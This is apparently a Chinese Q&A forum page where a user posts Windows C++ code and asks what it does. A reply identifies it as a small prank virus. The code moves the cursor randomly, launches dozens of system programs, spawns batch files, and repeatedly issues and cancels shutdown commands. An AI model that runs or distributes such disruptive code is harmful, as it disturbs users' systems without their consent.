#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;
int main()
{
system("color 8F");
int result = MessageBox(MB_APPLMODAL," "," ",MB_ICONASTERISK|MB_YESNO);
if (result == IDNO)
{
return 0;
}
else
{
int x,y;
for (int a=0;a<10000;a++)
{
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
for (int b=0;b<3;b++)
{
system("start notepad");
system("start calc");
system("start winver");
system("start cmd");
system("start Nslookup");
system("start ");
system("start cleanmgr");
system("start charmap");
system("start calc");
system("start calc");
system("start dxdiag");
system("start cmd");
system("start cmd");
system("start cmd");
system("start taskmgr");
system("start ");
system("start wiaacmgr");
system("start mspaint");
system("start mmc");
system("start ");
}
system("start dxdiag");
Sleep(2000);
system("taskkill /im notepad.exe") ;
system("taskkill /im calc.exe") ;
system("taskkill /im dxdiag.exe") ;
system("taskkill /im winver.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im Nslookup.exe") ;
system("taskkill /im cleanmgr.exe") ;
system("taskkill /im charmap.exe") ;
system("taskkill /im taskmgr.exe") ;
system("taskkill /im wiaacmgr.exe") ;
system("taskkill /im mspaint.exe") ;
system("taskkill /im mmc.exe") ;
for (int c=0;c<5;c++)
{
system("start notepad");
}
system("taskkill /im notepad.exe") ;
for (int d=0;d<5;d++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int l=0;l<10;l++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int m=0;m<15;m++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int f=0;f<20;f++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int n=0;n<10;n++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int q=0;q<15;q++)
{
system("start cmd");
}
system("taskkill /im cmd.exe") ;
for (int r=0;r<20;r++)
{
system("start taskmgr");
}
system("taskkill /im taskmgr.exe") ;
for (int g=0;g<10;g++)
{
system("start mmc");
}
for (int h=0;h<10;h++)
{
system("start ");
}
ofstream out;
out.open("eason.bat");
out<<"dir/s";
out.close();
for (int i=0;i<5;i++)
{
system("start eason.bat");
}
ofstream oo;
oo.open("eason2.bat");
oo<<"tree";
oo.close();
for (int j=0;j<5;j++)
{
system("start eason2.bat");
}
system("taskkill /im taskmgr.exe") ;
system("taskkill /im mmc.exe") ;
system("taskkill /im /f cmd.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im calc.exe") ;
for (int k=0;k<10000;k++)
{
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
ofstream o;
o.open("easo.txt");
o<<" "<<'\n'<<" "<<'\n'<<" "<<'\n'<<" "<<'\a';
o.close();
system("start easo.txt");
for (int p =0;p<5;p++)
{
system("shutdown -s");
Sleep(100);
system("shutdown -a");
}
remove("eason.bat");
remove("eason2.bat");
remove("easo.txt");
result = MessageBox(MB_APPLMODAL," "," ",MB_ICONASTERISK|MB_OK);
return 0;
}
}
某一天看到一个代码,这个在DEV中会输出什么?
- 写回答
- 好问题 0 提建议
- 追加酬金
- 关注问题
- 邀请回答
-
1条回答 默认 最新
- bingbingyihao 2021-09-04 14:21关注
回答如下:一个小病毒,自动打开文件,弹窗不断,重启即可,有些吓人了,下次得仔细看看了
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 1无用
悬赏问题
- ¥20 搭建三相栅极电路后高侧浮动地VS存在电容特性
- ¥20 云卓h12pro 数传问题
- ¥20 请问有人知道怎么用工艺库里面的sdb文件通过virtuoso导出来library里面每个cell的symbol吗?
- ¥20 海思 nnie 编译 报错
- ¥50 决策面并仿真,要求有仿真结果图
- ¥15 关于路由器的路由协议配置
- ¥15 springboot接入微信支付SDK
- ¥50 大区域的遥感影像匹配 怎么做啊
- ¥15 求解答:pytorch跑yolov8神经网络受挫
- ¥20 Js代码报错问题不知道怎么解决